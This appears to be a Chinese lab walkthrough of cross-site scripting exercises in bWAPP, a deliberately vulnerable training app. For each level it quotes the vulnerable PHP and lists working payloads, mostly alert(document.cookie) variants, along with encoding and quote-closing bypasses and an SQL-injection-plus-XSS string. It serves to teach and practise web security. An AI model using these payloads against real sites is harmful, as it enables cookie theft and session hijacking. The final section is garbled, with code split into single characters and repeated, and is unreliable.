XSS注入
基础知识
演练
反射型
GET/POST型
low
<script>alert('XSS')</script>
//<script>alert(007)</script>
//<script>alert(document.cookie)</script>
mid
// 字符 ' " \ 为转义为 \' \" \\
function xss_check_4($data)
{
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
return addslashes($data);
}
<script>alert('XSS')</script> //报错
<script>alert(/XSS/)</script> //成功
//在javascript 中 / 和 " 可起到一样的作用
//<script>alert(007)</script> //成功
//<script>alert(document.cookie)</script> //成功
high
//特殊被转义为HTML实体,无法绕过
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
JSON反射
low
代码分析
关键代码如下
通过URL获得字段$title
,并在数组中查询,如果找不到就返回JSON数据。
通过JSON.parse()J将数据转换为 JavaScript 对象
故可控制$title
值对<script>
进行闭合
if(! in_array(strtoupper($title), $movies)){
$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don't have that movie :("}]}';
}
<script>
var JSONResponseString = '<?php echo $string ?>';
// var JSONResponse = eval ("(" + JSONResponseString + ")");
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
</script>
"}]}';alert(document.cookie)</script>
//"}]}';</script><script>alert(document.cookie)</script>
//<script>
// var JSONResponseString = '<?php echo $string ?>';
//变为
//<script>
// var JSONResponseString = '{"movies":[{"response":""}]}';alert(document.cookie) </script>
mid/high
使用 htmlspecialchars()
函数把特殊字符(& ’ " < >)转义为HTML实体无法桡过
AJAX反射
low/mid
<img src=x one rror=alert(document.cookie)>
//<svg οnlοad=alert(document.cookie)>
high
使用 htmlspecialchars()
函数把特殊字符(& ’ " < >)转义为HTML实体无法桡过
XML反射
low/mid
在XML解析payload需要注意<>两个字符需要使用HTML实体编码
<img src=x one rror=alert(document.cookie)>
high
使用 htmlspecialchars()
函数把特殊字符(& ’ " < >)转义为HTML实体无法桡过
Referer 注入
代码分析
<div id="main">
<h1>XSS - Reflected (Back Button)</h1>
<p>Click the button to go to back to the previous page:
<input type=button value="Go back" onClick="document.location.href='<?php echo isset($_SERVER["HTTP_REFERER"]) ? xss($_SERVER["HTTP_REFERER"]) : ""?>'">
</p>
</div>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rBrPPfy4-1609946435939)(bWAPP-XSS/image-20201006183234683.png)]
对onClick进行适当闭合即可
low
"><script>alert(document.cookie)</script>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FOSCpeVv-1609946435942)(bWAPP-XSS/image-20201006183413428.png)]
mid
"><script>alert(document.cookie)</script>
此处使用addslashes()函数导致"><script>alert("XSS")</script>
但是 "><script>alert(document.cookie)</script>
却可以绕过,可见 >
之前的 "
不受影响
high
无法绕过
Header注入
代码分析
<div id="main">
<h1>XSS - Reflected (Custom Header)</h1>
<p>Some web clients use custom HTTP request headers...</p>
<p>
Content of our <b>bWAPP</b> header:
<?php
foreach(getallheaders() as $name => $value)
{
if($name == "bWAPP") //如果存在名为bWAPP的请求头,就读取请求头内容
{
echo "<i>" . xss($value) ."</i>";
}
}
?>
</p>
</div>
low
bWAPP: <script>alert(document.cookie)</script>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AmHdTSVq-1609946435944)(bWAPP-XSS/image-20201006185758145.png)]
mid
只要payload中不出现 ' " \
,均可绕过
bWAPP: <script>alert(document.cookie)</script>
high
无法绕过
eval注入
代码分析
<script>
eval("document.write(<?php echo xss($_GET["date"])?>)");
</script>
更改url参数,进行注入
可利用 document.write()
直接执行alert(),或对eval()进行闭合
low
alert(document.cookie)
//)");alert(document.cookie)</script>
mid
eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))
//eval(alert(/xss/))
high
写死了,只要不是Date()函数就报错,无法绕过
<?php
if(isset($_GET["date"]))
{
if($_COOKIE["security_level"] == "2")
{
if($_GET["date"] != "Date()")
{
echo "<p><font color=\"red\">Invalid input detected!</font></p>";
}}}
?>
HREF注入
代码分析
<td align="center"> <a href=xss_href-3.php?movie=<?php echo $row["id"]; ?>&name=<?php echo hpp($name);?>&action=vote>Vote</a></td>
通过对 $name
的控制,实现绕过
low
name=?><img src=x one rror=alert(document.cookie)><?php&action=vote
mid/high
使用 urlencode()
进行url编码,无法绕过
Login form注入
代码分析
$sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
通过sql注入和xss联合使用
low
' or 1=1 "<script>alert(document.cookie)</script>"
mid/high
无法绕过
PHP_SELF 注入
代码分析
<?php
if(isset($_GET["form"]) && isset($_GET["firstname"]) && isset($_GET["lastname"]))
{
$firstname = $_GET["firstname"];
$lastname = $_GET["lastname"];
if($firstname == "" or $lastname == "")
{
echo "<font color=\"red\">Please enter both fields...</font>";
}
else
{
echo "Welcome " . xss($firstname) . " " . xss($lastname);
}
}
?>
对用户输入内容进行输出。(类似留言板)
low
<script>alert(document.cookie)</script>
mid
不出现 ' " \
即可
<script>alert(document.cookie)</script>
high
无法绕过
请求头Referer注入
代码分析
<?php
if(isset($_SERVER["HTTP_REFERER"]))
{
// print_r($_SERVER);
$referer = $_SERVER["HTTP_REFERER"];
echo "<p>The referer: <i>" . xss($referer) . "</i></p>"
}
else
{
echo "<p><font color=\"red\">No referer was used!</font></p>";
}
?>
与留言版类似,注入点在 Referer
字段
low
<script>alert(document.cookie)</script>
mid
不出现 ' " \
即可
<script>alert(document.cookie)</script>
high
无法绕过
请求头User-Agent注入
代码分析
<?php
if(isset($_SERVER["HTTP_USER_AGENT"]))
{
// print_r($_SERVER);
$user_agent = $_SERVER["HTTP_USER_AGENT"];
echo "<p>Your User-Agent: <i>" . xss($user_agent) . "</i></p>";
}
else
{
echo "<p><font color=\"red\">No User-Agent was used!</font></p>";
}
?>
low
<script>alert(document.cookie)</script>
mid
不出现 ' " \
即可
<script>alert(document.cookie)</script>
high
无法绕过
存储型
blog
代码分析
<tr height="40">
<td align="center"><?php echo $row->id; ?></td>
<td><?php echo $row->owner; ?></td>
<td><?php echo $row->date; ?></td>
<td><?php echo $row->entry; ?></td> <!--根据不同的security_level对$row->entry进行消毒-->
</tr>
low
<script>alert(document.cookie)</script>
mid
不出现 ' " \
即可
<script>alert(document.cookie)</script>
high
无法绕过
Change Secret(HTML hidden)注入
代码分析
//low 对提交的$login和$secret都进行了严格的消毒
$login = mysqli_real_escape_string($link, $login);
$secret = mysqli_real_escape_string($link, $secret);
$secret = xss($secret);
//mid high对提交的$secret都进行了严格的消毒
$secret = mysqli_real_escape_string($link, $secret);
$secret = htmlspecialchars($secret, ENT_QUOTES, "UTF-8");
故无法直接对 secret
进行注入
low
"><script>alert(document.cookie)</script>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RgiD6w19-1609946435947)(bWAPP-XSS/image-20201007191839789.png)]
mid/high
l
o
g
i
n
和
login和
login和secret都进行了严格的消毒
l
o
g
i
n
=
m
y
s
q
l
i
r
e
a
l
e
s
c
a
p
e
s
t
r
i
n
g
(
login = mysqli_real_escape_string(
login=mysqlirealescapestring(link, $login);
s
e
c
r
e
t
=
m
y
s
q
l
i
r
e
a
l
e
s
c
a
p
e
s
t
r
i
n
g
(
secret = mysqli_real_escape_string(
secret=mysqlirealescapestring(link, $secret);
s
e
c
r
e
t
=
x
s
s
(
secret = xss(
secret=xss(secret);
//mid high对提交的$secret都进行了严格的消毒
s
e
c
r
e
t
=
m
y
s
q
l
i
r
e
a
l
e
s
c
a
p
e
s
t
r
i
n
g
(
secret = mysqli_real_escape_string(
secret=mysqlirealescapestring(link, $secret);
s
e
c
r
e
t
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
secret = htmlspecialchars(
secret=htmlspecialchars(secret, ENT_QUOTES, “UTF-8”);
故无法直接对 `secret`进行注入
#### low
```javascript
"><script>alert(document.cookie)</script>
[外链图片转存中…(img-RgiD6w19-1609946435947)]
mid/high
无法绕过